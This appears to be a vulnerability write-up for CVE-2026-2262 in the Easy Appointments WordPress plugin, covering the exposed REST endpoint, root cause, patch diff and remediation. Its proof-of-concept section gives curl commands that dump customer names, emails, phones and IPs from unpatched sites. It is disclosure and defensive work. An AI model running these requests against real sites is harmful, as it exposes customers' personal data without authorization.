Easy Appointments WordPress plugin banner

CVE-2026-2262: Easy Appointments Data Exposure via REST API

CVE-2026-2262 is a CVSS 7.5 (High) Unauthenticated Sensitive Information Exposure vulnerability in the Easy Appointments WordPress plugin. Any unauthenticated attacker can dump the full customer appointments database with a single HTTP GET request — no credentials needed. The exposed records include names, email addresses, phone numbers, IP addresses, appointment descriptions, and pricing.

Vulnerability Summary

FieldValue
Plugin NameEasy Appointments
Plugin Slugeasy-appointments
CVE IDCVE-2026-2262
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUnauthenticated Sensitive Information Exposure via REST API
Affected Versions<= 3.12.21
Patched Version3.12.22
PublishedApril 17, 2026
ResearcherMD. TAREQ AHAMED JONY (itztrq) - Knight Squad
Wordfence AdvisoryLink

Description

The Easy Appointments plugin exposes a REST API endpoint at /wp-json/wp/v2/eablocks/ea_appointments/. All versions up to and including 3.12.21 are affected.

The plugin registers this endpoint with 'permission_callback' => '__return_true'. This WordPress function always returns true, so the endpoint accepts any request without checking who sent it.

As a result, unauthenticated attackers can pull full customer appointment data: names, email addresses, phone numbers, IP addresses, appointment descriptions, and pricing.


Technical Analysis

Vulnerable Code Path

Here is how the vulnerability works in the source code.

File: ea-blocks/ea-blocks.php

Step 1 — Route registration (line 186–192):

The REST API route is registered inside a rest_api_init action hook with 'permission_callback' => '__return_true'. The WordPress core function __return_true unconditionally returns true, meaning WordPress will call the endpoint’s callback for any request — authenticated or not.

add_action('rest_api_init', function () {
    register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
        'methods'  => 'GET',
        'callback' => 'easy_ea_block_get_appointments',
        'permission_callback' => '__return_true', // Secure this if needed
    ]);
});

Step 2 — Route callback (lines 81–108):

easy_ea_block_get_appointments() reads optional location, service, and worker query parameters (all safely cast to int), then delegates to easy_ea_block_get_all_appointments(). This function performs no authentication or authorization checks.

function easy_ea_block_get_appointments(WP_REST_Request $request)
{
    global $wpdb;

    $location = intval($request->get_param('location'));
    $service  = intval($request->get_param('service'));
    $worker   = intval($request->get_param('worker'));

    $data['location'] = $location;
    $data['service']  = $service;
    $data['worker']   = $worker;
    $result = easy_ea_block_get_all_appointments($data);
    return $result;
}

Step 3 — Database query (lines 110–167):

easy_ea_block_get_all_appointments() runs SELECT * FROM wp_ea_appointments (filtered optionally by location, service, or worker). The * projection returns every column in the appointments table.

$query = "SELECT * FROM $tableName WHERE 1 {$location}{$service}{$worker}{$status}{$search} ORDER BY id DESC";
$sql   = $wpdb->prepare($query, $params);
$apps  = $wpdb->get_results($sql, OBJECT_K);

Step 4 — Custom field enrichment (lines 170–182):

easy_ea_block_get_fields_for_apps() then runs a second query to fetch all custom field values for the returned appointments and attaches them as properties:

$query = "SELECT f.app_id, m.slug, f.value
          FROM {$meta} m
          JOIN {$fields} f ON (m.id = f.field_id)
          WHERE f.app_id IN ($apps)";
$result = $wpdb->get_results($query);

Schema of wp_ea_appointments table (from src/install.php lines 67–92):

ColumnTypeDescription
idintAppointment ID
namevarchar(255)Customer full name
emailvarchar(255)Customer email address
phonevarchar(45)Customer phone number
datedateAppointment date
starttimeStart time
endtimeEnd time
descriptiontextAppointment description / notes
statusvarchar(45)Status (pending, confirmed, cancelled…)
pricedecimal(10,2)Price charged
ipvarchar(45)Customer IP address at booking time
sessionvarchar(32)Session hash
userintLinked WordPress user ID
customer_idintCustomer record ID
createdtimestampCreation timestamp

Root Cause

The REST endpoint /wp-json/wp/v2/eablocks/ea_appointments/ is registered with 'permission_callback' => '__return_true'. The WordPress documentation explicitly warns against this in production: __return_true is intended as a placeholder and bypasses all access control. WordPress relies entirely on the permission_callback return value to gate a REST route. When it returns true, the request proceeds to the callback with no further checks.

Why Existing Controls Failed

Nothing else in the code provides a safety net. The callback performs no current_user_can() check, no nonce verification, and no session validation before executing the database query. WordPress also serves this namespace through the standard wp-json REST API entry point, so any WordPress installation exposes it by default.

Attack Impact

Any unauthenticated attacker can dump the complete appointments database of a site running Easy Appointments <= 3.12.21. Exposed data includes:

This is a full, zero-interaction customer data breach that requires only network access to the target site.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Do not use against systems you do not own or have explicit written authorization to test.

Prerequisites

Step-by-Step Reproduction

Step 1: Confirm the endpoint is exposed

Send an unauthenticated GET request to the REST API endpoint. No tokens, cookies, or credentials are needed.

curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/" | head -c 500

A successful response returns a JSON array of appointment objects. A 401 or 403 response indicates the site is patched or the plugin is not active.

Step 2: Dump all appointments

curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/" \
  -H "Accept: application/json" \
  | python3 -m json.tool

Each item in the array is one appointment record. It includes fields such as id, name, email, phone, ip, date, start, end, description, price, status, created, and any custom field slugs.

Step 3: Filter by service, location, or worker (optional)

The endpoint accepts optional integer query parameters to filter results. These parameters are safely cast to int server-side, so they cannot be abused for injection — but they can be used to filter results by segment:

# Appointments for service ID 1
curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/?service=1"

# Appointments for a specific worker
curl -s "https://TARGET.SITE/wp-json/wp/v2/eablocks/ea_appointments/?worker=2"

Expected Result

The attacker receives the full appointments table contents as a JSON array, including PII for every customer who has ever made a booking through the plugin.

Verification

Confirm exploitation by checking that the response JSON array contains non-empty email, name, phone, and ip fields. Cross-reference a known appointment (e.g., one you created as a test user) to verify the data matches real records.


Patch Analysis

What Changed

Only one file contains the security-relevant change:

ea-blocks/ea-blocks.php — two hunks:

  1. easy_ea_render_fullcalendar_block() (line ~59): A nonce is now generated server-side and injected into the frontend block’s inline JavaScript data object so the JavaScript client can send it with API requests.

  2. REST route registration for /ea_appointments/ (line ~188): The 'permission_callback' => '__return_true' is replaced with a closure that enforces proper access control.

Other files changed in the release (src/ajax.php, src/api/apifullcalendar.php, src/mail.php, src/options.php, src/templates/admin.tpl.php, etc.) contain unrelated feature updates and UI improvements.

Fix Explanation

// BEFORE (vulnerable)
'permission_callback' => '__return_true', // Secure this if needed

// AFTER (patched)
'permission_callback' => function ($request) {
    $nonce = $request->get_header('X-WP-Nonce');

    if (! wp_verify_nonce($nonce, 'wp_rest')) {
        return new WP_Error(
            'rest_forbidden',
            'Invalid nonce',
            ['status' => 403]
        );
    }

    return current_user_can('manage_options');
}

The patch applies a two-layer guard:

  1. Nonce verificationwp_verify_nonce($nonce, 'wp_rest') validates the X-WP-Nonce header. WordPress REST nonces are tied to a logged-in session. An anonymous request has no session, so it cannot produce a valid nonce and will always fail this check.

  2. Capability check — Even if a valid nonce is present, current_user_can('manage_options') restricts the endpoint to administrator-level users only.

The plugin generates this nonce server-side inside easy_ea_render_fullcalendar_block() using wp_create_nonce('wp_rest'). It passes the value to the JavaScript bundle as window.eaFullCalendarData.nonce, so the legitimate block frontend can authenticate its own requests.

Residual risk note: The sibling endpoint /wp-json/wp/v2/eablocks/get_ea_options/ (registered at line 73–79) retains 'permission_callback' => '__return_true' in version 3.12.22. This endpoint returns location, service, and worker names/IDs — non-PII configuration data needed to populate the block’s booking form dropdowns for anonymous visitors. The risk from that endpoint is low, but site owners should be aware it remains publicly accessible by design.

Code Diff (Key Changes)

--- a/ea-blocks/ea-blocks.php
+++ b/ea-blocks/ea-blocks.php
@@ -59,6 +59,7 @@ function easy_ea_render_fullcalendar_block($attributes)
         'location' => $location,
         'service'  => $service,
         'worker'   => $worker,
+        'nonce'    => wp_create_nonce('wp_rest'),
     ]) . ';',
     'before'
 );

@@ -187,7 +188,20 @@ add_action('rest_api_init', function () {
     register_rest_route('wp/v2/eablocks', '/ea_appointments/', [
         'methods'  => 'GET',
         'callback' => 'easy_ea_block_get_appointments',
-        'permission_callback' => '__return_true', // Secure this if needed
+        'permission_callback' => function ($request) {
+
+            $nonce = $request->get_header('X-WP-Nonce');
+
+            if (! wp_verify_nonce($nonce, 'wp_rest')) {
+                return new WP_Error(
+                    'rest_forbidden',
+                    'Invalid nonce',
+                    ['status' => 403]
+                );
+            }
+
+            return current_user_can('manage_options');
+        }
     ]);
 });

Timeline

DateEvent
April 17, 2026Vulnerability publicly disclosed by Wordfence
April 17, 2026Patched version 3.12.22 released

Remediation

Update the easy-appointments plugin to version 3.12.22 or later.

If an immediate update is not possible, you can block the endpoint at the web server or WAF level by denying access to:

/wp-json/wp/v2/eablocks/ea_appointments/

References

  1. plugins.trac.wordpress.org — ea-blocks.php#L190 (tag 3.12.19)
  2. plugins.trac.wordpress.org — ea-blocks.php#L190 (trunk)
  3. plugins.trac.wordpress.org — ea-blocks.php#L141 (tag 3.12.19)
  4. plugins.trac.wordpress.org — changeset 3485692
  5. plugins.trac.wordpress.org — diff 3.12.21 → 3.12.22

Frequently Asked Questions

What is CVE-2026-2262?

CVE-2026-2262 is a CVSS 7.5 High severity unauthenticated sensitive information exposure vulnerability in the Easy Appointments WordPress plugin that lets any anonymous attacker retrieve the full customer appointments database through a misconfigured REST API endpoint.

Which versions of Easy Appointments are affected by CVE-2026-2262?

All versions of Easy Appointments up to and including 3.12.21 are vulnerable. The issue is fixed in version 3.12.22.

What can an attacker do with CVE-2026-2262?

An attacker can send a single unauthenticated HTTP GET request to retrieve every record in the appointments database. The exposed data includes customer names, email addresses, phone numbers, IP addresses, appointment descriptions, pricing, and any custom field values stored by the site.

Does an attacker need to be logged in to exploit CVE-2026-2262?

No. The vulnerable endpoint requires no authentication, no cookies, and no tokens of any kind. Anyone with network access to the site can exploit it.

How do I fix CVE-2026-2262 in Easy Appointments?

Update the Easy Appointments plugin to version 3.12.22 or later through the WordPress admin dashboard under Plugins, Updates. If you cannot update immediately, block access to the path wp-json/wp/v2/eablocks/ea_appointments/ at your web server or WAF.

Has Easy Appointments been patched for CVE-2026-2262?

Yes. Version 3.12.22, released on April 17, 2026, fixes the vulnerability by replacing the open permission callback with a nonce verification and administrator capability check.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee